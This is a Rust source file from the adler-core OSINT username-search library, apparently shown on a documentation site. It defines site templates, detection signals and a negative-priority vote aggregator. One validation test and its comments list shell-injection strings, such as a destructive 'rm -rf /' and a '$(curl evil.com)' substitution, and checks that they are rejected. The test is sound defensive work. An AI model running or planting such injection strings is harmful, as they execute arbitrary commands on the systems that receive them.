adler-core 0.6.0

Core engine for the Adler OSINT username-search tool.
Documentation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
//! Site definitions and the multi-signal detection model.
//!
//! A site is a target URL plus a list of [`Signal`]s. Each signal is an
//! independent rule that, when triggered against a response, votes either
//! for the account existing ([`SignalVerdict::Found`]) or not
//! ([`SignalVerdict::NotFound`]). Non-triggering signals stay silent
//! ([`SignalVerdict::Ambiguous`]).
//!
//! Aggregation is **negative-priority**: if any signal votes
//! [`SignalVerdict::NotFound`] the verdict is [`MatchKind::NotFound`];
//! otherwise if any votes [`SignalVerdict::Found`] it is
//! [`MatchKind::Found`]; with no votes at all it is
//! [`MatchKind::Uncertain`].
//!
//! A `NotFound` vote wins over a `Found` vote because negative signals are
//! specific (an exact "user not found" message, a 404, a login redirect)
//! while a bare `200 OK` is weak positive evidence. This matches how
//! Sherlock-style detectors work: a site that always returns 200 and only
//! differentiates via an error string is correctly read as `NotFound` when
//! that string is present, even though the 200 also satisfies a
//! `StatusFound` signal.

use std::fmt;

use serde::{Deserialize, Serialize};

use crate::check::MatchKind;
use crate::error::{Error, Result};
use crate::username::Username;

/// One site we can probe for the existence of an account.
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct Site {
    /// Human-readable site name. Doubles as the stable filter key
    /// (case-insensitive) used by CLI `--only` / `--exclude`.
    pub name: String,
    /// URL template containing a `{username}` placeholder.
    pub url: UrlTemplate,
    /// Ordered list of detection signals. Aggregated per the type-level docs.
    /// Optional in source JSON when [`Site::engine`] is set — the engine's
    /// signals are inherited at load time. After
    /// [`crate::Registry`] resolution this vec is always non-empty (or the
    /// site fails `validate`).
    #[serde(default, skip_serializing_if = "Vec::is_empty")]
    pub signals: Vec<Signal>,
    /// One or more usernames known to exist on this site. Consumed by
    /// `adler doctor` to verify the signal list still reports `Found`
    /// for a real account. Accepts either a single string or an array
    /// of strings in JSON; the doctor probes each in declaration order
    /// and passes the present-check if **any** one of them resolves to
    /// `Found`. Listing several is defensive — brand accounts or other
    /// users that the site special-cases (e.g. Instagram's own
    /// `instagram` account) shouldn't false-fail the whole site.
    #[serde(default, skip_serializing_if = "Option::is_none")]
    pub known_present: Option<KnownPresent>,
    /// Username known to *not* exist on this site (optional). When omitted,
    /// the doctor generates a random nonsense username instead.
    #[serde(default, skip_serializing_if = "Option::is_none")]
    pub known_absent: Option<String>,
    /// Optional CSS-selector rules for pulling profile fields (name, bio,
    /// avatar, …) out of a `Found` page. Only applied under `--enrich`.
    #[serde(default, skip_serializing_if = "Vec::is_empty")]
    pub extract: Vec<Extractor>,
    /// Free-form classification tags for scanning a subset of the registry,
    /// e.g. `"social"`, `"dev"`, `"region:ru"`. Matched by CLI `--tag`.
    /// A site with no tags is universal (included unless a `--tag` filter
    /// excludes it). Conventionally lowercase; `axis:value` is just a naming
    /// convention, not enforced.
    #[serde(default, skip_serializing_if = "Vec::is_empty")]
    pub tags: Vec<String>,
    /// Extra HTTP headers to send with the probe (e.g.
    /// `{"X-IG-App-ID": "936619743392459"}` to unlock Instagram's
    /// `web_profile_info` endpoint, or a custom `User-Agent`). Browser
    /// backends apply them via `Network.setExtraHTTPHeaders` before
    /// navigation; the raw-HTTP path doesn't read this yet.
    #[serde(default, skip_serializing_if = "std::collections::BTreeMap::is_empty")]
    pub request_headers: std::collections::BTreeMap<String, String>,
    /// Optional regular expression describing usernames a site will
    /// accept. When set and the scanned username doesn't match, the
    /// site is skipped (the outcome is reported as `Uncertain` with
    /// reason `UsernameNotAllowed`, without issuing any HTTP request).
    /// Saves work AND avoids the false-positive class where a site
    /// 404s on illegal usernames in ways our signal can't tell apart
    /// from a missing account.
    ///
    /// Imported from Sherlock's `regexCheck` field; 95+ sites
    /// upstream carry one (length bounds, character classes, etc.).
    /// Validation at load time compiles the regex with `regex::Regex`
    /// — a malformed pattern rejects the site rather than silently
    /// degrading at scan time.
    #[serde(default, skip_serializing_if = "Option::is_none")]
    pub regex_check: Option<String>,
    /// Name of a shared [`Engine`] this site inherits from (e.g.
    /// `"Discourse"`, `"vBulletin"`). Forum-software platforms host
    /// thousands of instances with identical detection signatures;
    /// defining the signature once on an engine and inheriting it
    /// keeps the registry small and the cost of a platform-wide
    /// HTML change one fix instead of hundreds.
    ///
    /// At [`crate::Registry::validate`] time, engine fields are
    /// merged *under* the site's own — anything the site declares
    /// explicitly (`signals`, `request_headers`, `regex_check`) wins on
    /// conflict; anything left empty / unset is filled from the
    /// engine. An `engine: "X"` referring to a non-existent X is a
    /// load-time error.
    #[serde(default, skip_serializing_if = "Option::is_none")]
    pub engine: Option<String>,
}

/// Shared detection signature template for a family of sites that
/// run the same forum / blog / wiki software (Discourse, vBulletin,
/// `XenForo`, `MediaWiki`, …). Referenced from [`Site::engine`].
///
/// Engines carry the same kinds of fields as a [`Site`] does (just
/// the inheritable ones — there's no per-engine `url`, that comes
/// from the site itself). At registry load, the engine's fields
/// are merged *under* each referring site's own fields: site wins
/// on conflict.
#[derive(Debug, Clone, Default, Serialize, Deserialize)]
#[non_exhaustive]
pub struct Engine {
    /// Default detection signals for sites of this family.
    /// Inherited only when the site itself declares no `signals`.
    #[serde(default, skip_serializing_if = "Vec::is_empty")]
    pub signals: Vec<Signal>,
    /// Default extra HTTP headers (e.g. a User-Agent that the
    /// platform accepts where the browser default gets blocked).
    /// Merged with the site's own headers; site wins per-key.
    #[serde(default, skip_serializing_if = "std::collections::BTreeMap::is_empty")]
    pub request_headers: std::collections::BTreeMap<String, String>,
    /// Default username-validity regex inherited only when the site
    /// itself doesn't declare one.
    #[serde(default, skip_serializing_if = "Option::is_none")]
    pub regex_check: Option<String>,
}

impl Engine {
    /// Compile-check the engine's own constraints — the inheritable
    /// fields are subject to the same validation as a site's would
    /// be.
    ///
    /// # Errors
    /// Returns [`Error::InvalidSite`] when the engine name is
    /// empty, a signal carries an empty marker, or any other
    /// constraint a [`Site::validate`] would also flag.
    pub fn validate(&self, name: &str) -> Result<()> {
        if name.trim().is_empty() {
            return Err(Error::InvalidSite {
                reason: "engine name is empty".into(),
            });
        }
        for signal in &self.signals {
            signal.validate().map_err(|reason| Error::InvalidSite {
                reason: format!("engine {name:?}: {reason}"),
            })?;
        }
        if let Some(pat) = &self.regex_check {
            if let Err(err) = regex::Regex::new(pat) {
                tracing::warn!(
                    engine = %name, pattern = %pat, error = %err,
                    "engine regex_check did not compile; gate disabled for inheriting sites",
                );
            }
        }
        Ok(())
    }

    /// Fill the inheritable empty / unset fields of `site` from
    /// this engine. Site fields are authoritative: if the site has
    /// any signals at all, no engine signals are merged in.
    /// `request_headers` merge per-key (site wins on per-key
    /// conflict).
    pub fn merge_into(&self, site: &mut Site) {
        if site.signals.is_empty() {
            site.signals.clone_from(&self.signals);
        }
        for (k, v) in &self.request_headers {
            site.request_headers
                .entry(k.clone())
                .or_insert_with(|| v.clone());
        }
        if site.regex_check.is_none() {
            site.regex_check.clone_from(&self.regex_check);
        }
    }
}

/// Known-present declaration on a [`Site`].
///
/// In JSON this is `untagged`: a plain string `"torvalds"` deserialises
/// into [`KnownPresent::Single`], an array `["torvalds", "leomessi"]`
/// into [`KnownPresent::Multiple`]. Serialisation preserves the form
/// the site was authored with, so single-username entries stay
/// compact.
#[derive(Debug, Clone, Serialize, Deserialize)]
#[serde(untagged)]
#[non_exhaustive]
pub enum KnownPresent {
    /// Exactly one candidate username.
    Single(String),
    /// Two or more candidate usernames. Doctor passes if any resolve
    /// to `Found`.
    Multiple(Vec<String>),
}

impl KnownPresent {
    /// View all candidate usernames as a slice, in declaration order.
    /// Always non-empty for `Single`; may be empty for a hand-authored
    /// `Multiple([])` (validation rejects that).
    pub fn as_slice(&self) -> &[String] {
        match self {
            Self::Single(s) => std::slice::from_ref(s),
            Self::Multiple(v) => v.as_slice(),
        }
    }

    /// Primary candidate — the first declared username. `Single`
    /// always has one; `Multiple` may be empty if a contributor wrote
    /// `[]` (caught by [`Site::validate`]).
    pub fn primary(&self) -> Option<&str> {
        self.as_slice().first().map(String::as_str)
    }
}

impl From<&str> for KnownPresent {
    fn from(s: &str) -> Self {
        Self::Single(s.to_owned())
    }
}

impl From<String> for KnownPresent {
    fn from(s: String) -> Self {
        Self::Single(s)
    }
}

/// Upper bound on a site name's length. Names appear in CLI output,
/// CSV columns, and the validate-sites.yml workflow's run-summary
/// table — keeping them short avoids both UI breakage and
/// pathological CI artefacts.
const NAME_MAX_LEN: usize = 80;

/// True when `name` consists only of characters safe to interpolate
/// into shell, CSV, and CLI argument contexts. Matches the JSON
/// Schema pattern `^[\w][\w .()!/+-]*$`.
fn is_safe_site_name(name: &str) -> bool {
    let mut chars = name.chars();
    match chars.next() {
        Some(c) if c.is_ascii_alphanumeric() || c == '_' => {}
        _ => return false,
    }
    chars.all(|c| {
        c.is_ascii_alphanumeric()
            || c == '_'
            || c == ' '
            || matches!(c, '.' | '(' | ')' | '!' | '/' | '+' | '-')
    })
}

/// A rule for extracting one profile field from a page.
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct Extractor {
    /// Output field name, e.g. `"avatar"`, `"bio"`, `"name"`.
    pub field: String,
    /// CSS selector locating the element.
    pub selector: String,
    /// Attribute to read (e.g. `"src"`, `"content"`). When omitted, the
    /// element's trimmed text content is used.
    #[serde(default, skip_serializing_if = "Option::is_none")]
    pub attr: Option<String>,
}

impl Site {
    /// Render the site URL for a given username.
    pub fn url_for(&self, username: &Username) -> String {
        self.url.substitute(username.as_str())
    }

    /// Validate semantic invariants the type system can't enforce
    /// (empty signals list, empty markers, empty status code sets).
    pub fn validate(&self) -> Result<()> {
        if self.name.trim().is_empty() {
            return Err(Error::InvalidSite {
                reason: "site name is empty".into(),
            });
        }
        // Site names doubled as shell-interpolation values in the
        // `validate-sites.yml` PR gate; an unsanitised name like
        // `Foo"; rm -rf /; #` would have broken out of `"$name"`
        // quoting and run arbitrary commands on the runner. Both the
        // JSON Schema and this Rust loader enforce a safe character
        // class (word chars plus a few visual punctuation marks) at
        // every entry point.
        if self.name.len() > NAME_MAX_LEN {
            return Err(Error::InvalidSite {
                reason: format!(
                    "site name longer than {NAME_MAX_LEN} chars: {:?}",
                    self.name
                ),
            });
        }
        if !is_safe_site_name(&self.name) {
            return Err(Error::InvalidSite {
                reason: format!(
                    "site name {:?} contains characters outside the allowed \
                     set (word chars, space, `.()!/+-`)",
                    self.name
                ),
            });
        }
        if self.signals.is_empty() {
            return Err(Error::InvalidSite {
                reason: format!("site {:?}: signals list is empty", self.name),
            });
        }
        for signal in &self.signals {
            signal.validate().map_err(|reason| Error::InvalidSite {
                reason: format!("site {:?}: {reason}", self.name),
            })?;
        }
        for extractor in &self.extract {
            if extractor.field.trim().is_empty() {
                return Err(Error::InvalidSite {
                    reason: format!("site {:?}: extractor has an empty field name", self.name),
                });
            }
            if scraper::Selector::parse(&extractor.selector).is_err() {
                return Err(Error::InvalidSite {
                    reason: format!(
                        "site {:?}: invalid CSS selector {:?} for field {:?}",
                        self.name, extractor.selector, extractor.field
                    ),
                });
            }
        }
        if let Some(pat) = &self.regex_check {
            if let Err(err) = regex::Regex::new(pat) {
                // Sherlock's regexes occasionally use lookarounds
                // (e.g. `(?![.-])`), which the Rust `regex` crate
                // doesn't support — it's a true regular-language
                // engine for performance + DoS safety. Rather than
                // reject the whole site over a username-gate the
                // probe path will simply skip, downgrade to a warn
                // and let the site keep working at the cost of one
                // wasted probe per illegal username.
                tracing::warn!(
                    site = %self.name, pattern = %pat, error = %err,
                    "regex_check did not compile; username-gate disabled for this site",
                );
            }
        }
        if let Some(kp) = &self.known_present {
            if kp.as_slice().is_empty() {
                return Err(Error::InvalidSite {
                    reason: format!("site {:?}: known_present is an empty list", self.name),
                });
            }
            for name in kp.as_slice() {
                if name.trim().is_empty() {
                    return Err(Error::InvalidSite {
                        reason: format!(
                            "site {:?}: known_present contains an empty username",
                            self.name
                        ),
                    });
                }
            }
        }
        for tag in &self.tags {
            if tag.trim().is_empty() {
                return Err(Error::InvalidSite {
                    reason: format!("site {:?}: tag is empty", self.name),
                });
            }
        }
        Ok(())
    }
}

/// URL template containing a `{username}` placeholder.
///
/// Validated at construction: must contain the placeholder and start with
/// `http://` or `https://`.
#[derive(Debug, Clone, PartialEq, Eq)]
pub struct UrlTemplate(String);

const PLACEHOLDER: &str = "{username}";

impl UrlTemplate {
    /// Build a template, validating placeholder and scheme.
    pub fn new(template: impl Into<String>) -> Result<Self> {
        let t = template.into();
        if !t.contains(PLACEHOLDER) {
            return Err(Error::InvalidSite {
                reason: format!("url template missing {PLACEHOLDER} placeholder: {t:?}"),
            });
        }
        if !(t.starts_with("http://") || t.starts_with("https://")) {
            return Err(Error::InvalidSite {
                reason: format!("url template must start with http(s)://: {t:?}"),
            });
        }
        Ok(Self(t))
    }

    fn substitute(&self, username: &str) -> String {
        self.0.replace(PLACEHOLDER, username)
    }

    /// Borrow the raw template (with placeholder).
    pub fn as_str(&self) -> &str {
        &self.0
    }
}

impl fmt::Display for UrlTemplate {
    fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
        f.write_str(&self.0)
    }
}

impl Serialize for UrlTemplate {
    fn serialize<S: serde::Serializer>(&self, s: S) -> std::result::Result<S::Ok, S::Error> {
        self.0.serialize(s)
    }
}

impl<'de> Deserialize<'de> for UrlTemplate {
    fn deserialize<D: serde::Deserializer<'de>>(d: D) -> std::result::Result<Self, D::Error> {
        let raw = String::deserialize(d)?;
        Self::new(raw).map_err(serde::de::Error::custom)
    }
}

/// A single piece of evidence about whether an account exists.
///
/// Signals are tagged in JSON by their `kind`. New variants will land for
/// Phase 2 length-baseline scoring; the enum is `#[non_exhaustive]` so
/// adding variants is not a breaking change.
#[derive(Debug, Clone, Serialize, Deserialize)]
#[serde(tag = "kind", rename_all = "snake_case")]
#[non_exhaustive]
pub enum Signal {
    /// Votes **`Found`** when the response status is in `codes`.
    StatusFound {
        /// Status codes that vote for existence. Must be non-empty.
        codes: Vec<u16>,
    },
    /// Votes **`NotFound`** when the response status is in `codes`.
    StatusNotFound {
        /// Status codes that vote for non-existence. Must be non-empty.
        codes: Vec<u16>,
    },
    /// Votes **`Found`** when the response body contains `text`.
    BodyPresent {
        /// Substring whose appearance votes for existence. Must be non-empty.
        text: String,
    },
    /// Votes **`NotFound`** when the response body contains `text`.
    BodyAbsent {
        /// Substring whose appearance votes for non-existence (e.g.
        /// `"Profile not found"`). Must be non-empty.
        text: String,
    },
    /// Votes **`NotFound`** when the final URL (post-redirect) contains
    /// `fragment`.
    RedirectAbsent {
        /// Substring that, when present in the final URL, indicates the
        /// account is missing (typically `"/login"` or `"/404"`). Must be
        /// non-empty.
        fragment: String,
    },
}

/// Probe data extracted from an HTTP response, fed to each [`Signal`].
///
/// Internal detection plumbing — not part of the public API.
#[derive(Debug)]
pub(crate) struct Probe<'a> {
    /// HTTP status code.
    pub(crate) status: u16,
    /// Final URL after redirects.
    pub(crate) final_url: &'a str,
    /// Decoded response body. Empty string when no body-using signal is configured.
    pub(crate) body: &'a str,
}

/// What one signal concluded after looking at a probe.
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub(crate) enum SignalVerdict {
    /// This signal votes that the account exists.
    Found,
    /// This signal votes that the account does not exist.
    NotFound,
    /// This signal had nothing to say (its trigger condition didn't match).
    Ambiguous,
}

impl Signal {
    /// True if this signal needs to inspect the response body. Used by the
    /// client to skip body reads when no signal requires them.
    pub(crate) fn needs_body(&self) -> bool {
        matches!(self, Self::BodyPresent { .. } | Self::BodyAbsent { .. })
    }

    /// Evaluate this signal against a probe and produce a vote.
    pub(crate) fn evaluate(&self, probe: &Probe<'_>) -> SignalVerdict {
        match self {
            Self::StatusFound { codes } => {
                if codes.contains(&probe.status) {
                    SignalVerdict::Found
                } else {
                    SignalVerdict::Ambiguous
                }
            }
            Self::StatusNotFound { codes } => {
                if codes.contains(&probe.status) {
                    SignalVerdict::NotFound
                } else {
                    SignalVerdict::Ambiguous
                }
            }
            Self::BodyPresent { text } => {
                if probe.body.contains(text.as_str()) {
                    SignalVerdict::Found
                } else {
                    SignalVerdict::Ambiguous
                }
            }
            Self::BodyAbsent { text } => {
                if probe.body.contains(text.as_str()) {
                    SignalVerdict::NotFound
                } else {
                    SignalVerdict::Ambiguous
                }
            }
            Self::RedirectAbsent { fragment } => {
                if probe.final_url.contains(fragment.as_str()) {
                    SignalVerdict::NotFound
                } else {
                    SignalVerdict::Ambiguous
                }
            }
        }
    }

    /// Human-readable description of why this signal fired against `probe`,
    /// for verdict explainability. Only meaningful for a signal that voted
    /// (i.e. didn't return [`SignalVerdict::Ambiguous`]); the caller filters.
    pub(crate) fn describe_match(&self, probe: &Probe<'_>) -> String {
        match self {
            Self::StatusFound { .. } => format!("HTTP {} (status_found)", probe.status),
            Self::StatusNotFound { .. } => format!("HTTP {} (status_not_found)", probe.status),
            Self::BodyPresent { text } => format!("body contains {text:?} (body_present)"),
            Self::BodyAbsent { text } => format!("body contains {text:?} (body_absent)"),
            Self::RedirectAbsent { fragment } => {
                format!("final URL contains {fragment:?} (redirect_absent)")
            }
        }
    }

    fn validate(&self) -> std::result::Result<(), String> {
        match self {
            Self::StatusFound { codes } | Self::StatusNotFound { codes } => {
                if codes.is_empty() {
                    return Err("status signal codes list is empty".into());
                }
            }
            Self::BodyPresent { text } | Self::BodyAbsent { text } => {
                if text.is_empty() {
                    return Err("body signal text is empty".into());
                }
            }
            Self::RedirectAbsent { fragment } => {
                if fragment.is_empty() {
                    return Err("redirect signal fragment is empty".into());
                }
            }
        }
        Ok(())
    }
}

/// Aggregate per-signal verdicts into a final [`MatchKind`].
///
/// Negative-priority counting: any `NotFound` vote → `NotFound`; otherwise
/// any `Found` vote → `Found`; no votes at all → `Uncertain`. See the module
/// docs for why a `NotFound` vote outranks a `Found` vote.
pub(crate) fn aggregate<I>(verdicts: I) -> MatchKind
where
    I: IntoIterator<Item = SignalVerdict>,
{
    let mut found = false;
    let mut not_found = false;
    for v in verdicts {
        match v {
            SignalVerdict::Found => found = true,
            SignalVerdict::NotFound => not_found = true,
            SignalVerdict::Ambiguous => {}
        }
    }
    if not_found {
        MatchKind::NotFound
    } else if found {
        MatchKind::Found
    } else {
        MatchKind::Uncertain
    }
}

#[cfg(test)]
mod tests {
    use super::*;

    fn site_with(signals: Vec<Signal>) -> Site {
        Site {
            name: "Example".into(),
            url: UrlTemplate::new("https://example.com/{username}").unwrap(),
            signals,
            known_present: None,
            known_absent: None,
            extract: Vec::new(),
            tags: Vec::new(),
            request_headers: std::collections::BTreeMap::new(),
            regex_check: None,
            engine: None,
        }
    }

    #[test]
    fn url_template_substitutes_placeholder() {
        let user = Username::new("alice").unwrap();
        let site = site_with(vec![Signal::StatusFound { codes: vec![200] }]);
        assert_eq!(site.url_for(&user), "https://example.com/alice");
    }

    #[test]
    fn url_template_rejects_missing_placeholder() {
        assert!(UrlTemplate::new("https://example.com/users/").is_err());
    }

    #[test]
    fn url_template_rejects_bad_scheme() {
        assert!(UrlTemplate::new("ftp://example.com/{username}").is_err());
    }

    #[test]
    fn validate_requires_non_empty_signals() {
        let err = site_with(vec![]).validate().unwrap_err();
        assert!(err.to_string().contains("signals list is empty"));
    }

    #[test]
    fn validate_rejects_empty_status_codes() {
        let err = site_with(vec![Signal::StatusFound { codes: vec![] }])
            .validate()
            .unwrap_err();
        assert!(err.to_string().contains("status signal"));
    }

    #[test]
    fn validate_rejects_empty_body_text() {
        let err = site_with(vec![Signal::BodyAbsent {
            text: String::new(),
        }])
        .validate()
        .unwrap_err();
        assert!(err.to_string().contains("body signal"));
    }

    #[test]
    fn validate_rejects_empty_redirect_fragment() {
        let err = site_with(vec![Signal::RedirectAbsent {
            fragment: String::new(),
        }])
        .validate()
        .unwrap_err();
        assert!(err.to_string().contains("redirect signal"));
    }

    #[test]
    fn validate_rejects_shell_metacharacters_in_name() {
        // The validate-sites.yml workflow used to inject `--only "$name"`
        // where `$name` came from PR-controlled sites.json. A name like
        // `Foo"; rm -rf /; #` would have broken out of `"..."` quoting
        // and executed on the runner. Schema + this loader both enforce
        // a safe character class; verify a representative selection of
        // dangerous chars is rejected.
        for bad in [
            "Foo\"; rm -rf /; #",
            "Bar$(curl evil.com)",
            "Baz`whoami`",
            "Qux\\nfoo",
            "back\\slash",
            "pipe|ish",
            "semi;colon",
            "amp&and",
            "lt<gt>",
        ] {
            let mut s = site_with(vec![Signal::StatusFound { codes: vec![200] }]);
            s.name = bad.into();
            let err = s.validate().unwrap_err();
            assert!(
                err.to_string()
                    .contains("characters outside the allowed set"),
                "expected unsafe-name rejection for {bad:?}, got {err}",
            );
        }
    }

    #[test]
    fn validate_accepts_real_world_site_names() {
        // Cross-check the validation against names we actually ship.
        for ok in [
            "GitHub",
            "Steam Community (User)",
            "X / Twitter",
            "osu!",
            "Eintracht Frankfurt Forum",
            "Archive of Our Own",
            "Career.habr",
            "fl",
            "GitLab.com",
            "Sbazar.cz",
        ] {
            let mut s = site_with(vec![Signal::StatusFound { codes: vec![200] }]);
            s.name = ok.into();
            assert!(s.validate().is_ok(), "expected {ok:?} to validate");
        }
    }

    #[test]
    fn validate_rejects_overlong_name() {
        let mut s = site_with(vec![Signal::StatusFound { codes: vec![200] }]);
        s.name = "A".repeat(100);
        let err = s.validate().unwrap_err();
        assert!(err.to_string().contains("longer than"));
    }

    #[test]
    fn validate_accepts_well_formed_regex_check() {
        let mut s = site_with(vec![Signal::StatusFound { codes: vec![200] }]);
        s.regex_check = Some("^[a-zA-Z0-9_-]{3,40}$".into());
        assert!(s.validate().is_ok());
    }

    #[test]
    fn validate_tolerates_unsupported_regex_features() {
        // Sherlock-imported regexes occasionally use lookarounds
        // (e.g. `(?!...)`) that Rust's `regex` crate can't compile —
        // those sites should still load, with the username-gate
        // silently disabled rather than rejecting the whole site.
        let mut s = site_with(vec![Signal::StatusFound { codes: vec![200] }]);
        s.regex_check = Some("^(?![.-])[a-zA-Z0-9_.-]{3,20}$".into());
        assert!(
            s.validate().is_ok(),
            "lookaround-bearing regex should warn, not reject the site"
        );
    }

    #[test]
    fn signal_status_found_votes_only_on_match() {
        let signal = Signal::StatusFound { codes: vec![200] };
        let probe = Probe {
            status: 200,
            final_url: "https://example.com/alice",
            body: "",
        };
        assert_eq!(signal.evaluate(&probe), SignalVerdict::Found);
        let probe = Probe {
            status: 404,
            ..probe
        };
        assert_eq!(signal.evaluate(&probe), SignalVerdict::Ambiguous);
    }

    #[test]
    fn signal_status_not_found_votes_only_on_match() {
        let signal = Signal::StatusNotFound { codes: vec![404] };
        let probe = Probe {
            status: 404,
            final_url: "",
            body: "",
        };
        assert_eq!(signal.evaluate(&probe), SignalVerdict::NotFound);
        let probe = Probe {
            status: 200,
            ..probe
        };
        assert_eq!(signal.evaluate(&probe), SignalVerdict::Ambiguous);
    }

    #[test]
    fn signal_body_absent_votes_not_found_when_text_present() {
        let signal = Signal::BodyAbsent {
            text: "Profile not found".into(),
        };
        let probe = Probe {
            status: 200,
            final_url: "",
            body: "<h1>Profile not found</h1>",
        };
        assert_eq!(signal.evaluate(&probe), SignalVerdict::NotFound);
        let probe = Probe {
            body: "<h1>Welcome alice</h1>",
            ..probe
        };
        assert_eq!(signal.evaluate(&probe), SignalVerdict::Ambiguous);
    }

    #[test]
    fn signal_redirect_absent_inspects_final_url() {
        let signal = Signal::RedirectAbsent {
            fragment: "/login".into(),
        };
        let probe = Probe {
            status: 200,
            final_url: "https://example.com/login?next=/alice",
            body: "",
        };
        assert_eq!(signal.evaluate(&probe), SignalVerdict::NotFound);
        let probe = Probe {
            final_url: "https://example.com/alice",
            ..probe
        };
        assert_eq!(signal.evaluate(&probe), SignalVerdict::Ambiguous);
    }

    #[test]
    fn aggregate_found_when_only_found_signals_fire() {
        let kind = aggregate([SignalVerdict::Found, SignalVerdict::Ambiguous]);
        assert_eq!(kind, MatchKind::Found);
    }

    #[test]
    fn aggregate_not_found_when_only_not_found_signals_fire() {
        let kind = aggregate([SignalVerdict::NotFound, SignalVerdict::Ambiguous]);
        assert_eq!(kind, MatchKind::NotFound);
    }

    #[test]
    fn aggregate_not_found_wins_over_found() {
        // Negative-priority: a NotFound vote outranks a Found vote.
        let kind = aggregate([SignalVerdict::Found, SignalVerdict::NotFound]);
        assert_eq!(kind, MatchKind::NotFound);
    }

    #[test]
    fn aggregate_uncertain_when_no_signals_fire() {
        let kind = aggregate([SignalVerdict::Ambiguous, SignalVerdict::Ambiguous]);
        assert_eq!(kind, MatchKind::Uncertain);
    }

    #[test]
    fn aggregate_empty_is_uncertain() {
        let kind = aggregate(std::iter::empty());
        assert_eq!(kind, MatchKind::Uncertain);
    }

    #[test]
    fn needs_body_is_true_only_for_body_signals() {
        assert!(!Signal::StatusFound { codes: vec![200] }.needs_body());
        assert!(!Signal::StatusNotFound { codes: vec![404] }.needs_body());
        assert!(
            !Signal::RedirectAbsent {
                fragment: "/login".into()
            }
            .needs_body()
        );
        assert!(Signal::BodyPresent { text: "x".into() }.needs_body());
        assert!(Signal::BodyAbsent { text: "x".into() }.needs_body());
    }

    #[test]
    fn deserializes_signal_list() {
        let json = r#"{
            "name": "GitHub",
            "url": "https://github.com/{username}",
            "signals": [
                { "kind": "status_found", "codes": [200] },
                { "kind": "status_not_found", "codes": [404] }
            ]
        }"#;
        let site: Site = serde_json::from_str(json).unwrap();
        assert_eq!(site.name, "GitHub");
        assert_eq!(site.signals.len(), 2);
        site.validate().unwrap();
    }

    proptest::proptest! {
        /// For any mix of per-signal verdicts, aggregation obeys the
        /// negative-priority spec: any NotFound wins; else any Found; else
        /// Uncertain.
        #[test]
        fn aggregate_matches_negative_priority_spec(
            votes in proptest::collection::vec(
                proptest::prop_oneof![
                    proptest::strategy::Just(SignalVerdict::Found),
                    proptest::strategy::Just(SignalVerdict::NotFound),
                    proptest::strategy::Just(SignalVerdict::Ambiguous),
                ],
                0..16,
            ),
        ) {
            let kind = aggregate(votes.iter().copied());
            let expected = if votes.contains(&SignalVerdict::NotFound) {
                MatchKind::NotFound
            } else if votes.contains(&SignalVerdict::Found) {
                MatchKind::Found
            } else {
                MatchKind::Uncertain
            };
